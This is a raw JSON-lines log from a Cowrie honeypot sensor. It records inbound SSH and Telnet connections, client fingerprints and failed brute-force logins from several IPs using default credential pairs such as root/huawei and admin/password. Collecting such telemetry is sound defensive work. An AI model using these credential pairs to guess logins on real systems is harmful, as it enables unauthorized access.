{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:30.062464Z","src_ip":"51.250.105.222","session":"024069bd120e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"apsk54321","message":"login attempt [root/apsk54321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:30.446746Z","src_ip":"51.250.105.222","session":"024069bd120e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43818,"dst_ip":"10.17.0.5","dst_port":23,"session":"871b98076ab1","protocol":"telnet","message":"New connection: 152.42.224.71:43818 (10.17.0.5:23) [session: 871b98076ab1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:30.578465Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:30.748569Z","src_ip":"94.159.98.239","session":"a6846903acee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":42172,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b9e22e69343","protocol":"ssh","message":"New connection: 176.65.132.129:42172 (159.203.135.109:22) [session: 4b9e22e69343]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:30.877756Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:30.883546Z","src_ip":"176.65.132.129","session":"4b9e22e69343","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:31.063508Z","src_ip":"176.65.132.129","session":"4b9e22e69343","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password","message":"login attempt [admin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:31.397203Z","src_ip":"176.65.132.129","session":"4b9e22e69343","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:31.601276Z","src_ip":"51.250.105.222","session":"024069bd120e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:32.483628Z","src_ip":"176.65.132.129","session":"4b9e22e69343","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43822,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff63ab3ea802","protocol":"telnet","message":"New connection: 152.42.224.71:43822 (10.17.0.5:23) [session: ff63ab3ea802]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:32.615879Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.32.240.31","src_port":35122,"dst_ip":"159.203.135.109","dst_port":22,"session":"425e20ed1546","protocol":"ssh","message":"New connection: 101.32.240.31:35122 (159.203.135.109:22) [session: 425e20ed1546]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:33.695161Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:33.699745Z","src_ip":"101.32.240.31","session":"425e20ed1546","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:33.938834Z","src_ip":"101.32.240.31","session":"425e20ed1546","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":42192,"dst_ip":"159.203.135.109","dst_port":22,"session":"3063f0b50aa5","protocol":"ssh","message":"New connection: 176.65.132.129:42192 (159.203.135.109:22) [session: 3063f0b50aa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:34.338691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:34.343697Z","src_ip":"176.65.132.129","session":"3063f0b50aa5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:34.429368Z","src_ip":"176.65.132.129","session":"3063f0b50aa5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kingbase","password":"123456","message":"login attempt [kingbase/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:34.677490Z","src_ip":"176.65.132.129","session":"3063f0b50aa5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"testdummy","message":"login attempt [root/testdummy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:34.924910Z","src_ip":"101.32.240.31","session":"425e20ed1546","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:35.853348Z","src_ip":"176.65.132.129","session":"3063f0b50aa5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:36.165434Z","src_ip":"101.32.240.31","session":"425e20ed1546","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":41912,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7b3e2adb6ca","protocol":"ssh","message":"New connection: 176.65.132.129:41912 (159.203.135.109:22) [session: f7b3e2adb6ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:37.531041Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:37.536588Z","src_ip":"176.65.132.129","session":"f7b3e2adb6ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:37.618821Z","src_ip":"176.65.132.129","session":"f7b3e2adb6ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.54.176.203","src_port":32894,"dst_ip":"159.203.135.109","dst_port":22,"session":"acb6b4c72069","protocol":"ssh","message":"New connection: 62.54.176.203:32894 (159.203.135.109:22) [session: acb6b4c72069]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:37.649351Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:37.659003Z","src_ip":"62.54.176.203","session":"acb6b4c72069","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:37.763863Z","src_ip":"62.54.176.203","session":"acb6b4c72069","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"huawei","message":"login attempt [root/huawei] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:37.932767Z","src_ip":"176.65.132.129","session":"f7b3e2adb6ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qqq","message":"login attempt [root/qqq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:38.260142Z","src_ip":"62.54.176.203","session":"acb6b4c72069","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:39.017006Z","src_ip":"176.65.132.129","session":"f7b3e2adb6ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:39.377820Z","src_ip":"62.54.176.203","session":"acb6b4c72069","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":41918,"dst_ip":"159.203.135.109","dst_port":22,"session":"7726637a42f1","protocol":"ssh","message":"New connection: 176.65.132.129:41918 (159.203.135.109:22) [session: 7726637a42f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:40.908198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:40.913110Z","src_ip":"176.65.132.129","session":"7726637a42f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:40.995451Z","src_ip":"176.65.132.129","session":"7726637a42f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaq12wsx","message":"login attempt [root/zaq12wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:41.241110Z","src_ip":"176.65.132.129","session":"7726637a42f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.70825242996216,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:41.932236Z","src_ip":"152.42.224.71","session":"534a5327d010","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:42.413204Z","src_ip":"176.65.132.129","session":"7726637a42f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":72.54709362983704,"message":"Connection lost after 72 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:43.640950Z","src_ip":"152.42.224.71","session":"f793e86ff35d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":41934,"dst_ip":"159.203.135.109","dst_port":22,"session":"8edb4bf49ae2","protocol":"ssh","message":"New connection: 176.65.132.129:41934 (159.203.135.109:22) [session: 8edb4bf49ae2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:44.006487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:44.011874Z","src_ip":"176.65.132.129","session":"8edb4bf49ae2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:44.099106Z","src_ip":"176.65.132.129","session":"8edb4bf49ae2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop123","message":"login attempt [hadoop/hadoop123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:44.351734Z","src_ip":"176.65.132.129","session":"8edb4bf49ae2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:45.439808Z","src_ip":"176.65.132.129","session":"8edb4bf49ae2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":49470,"dst_ip":"159.203.135.109","dst_port":22,"session":"63f9516fced0","protocol":"ssh","message":"New connection: 176.65.132.129:49470 (159.203.135.109:22) [session: 63f9516fced0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:47.299110Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:47.304314Z","src_ip":"176.65.132.129","session":"63f9516fced0","protocol":"ssh"}
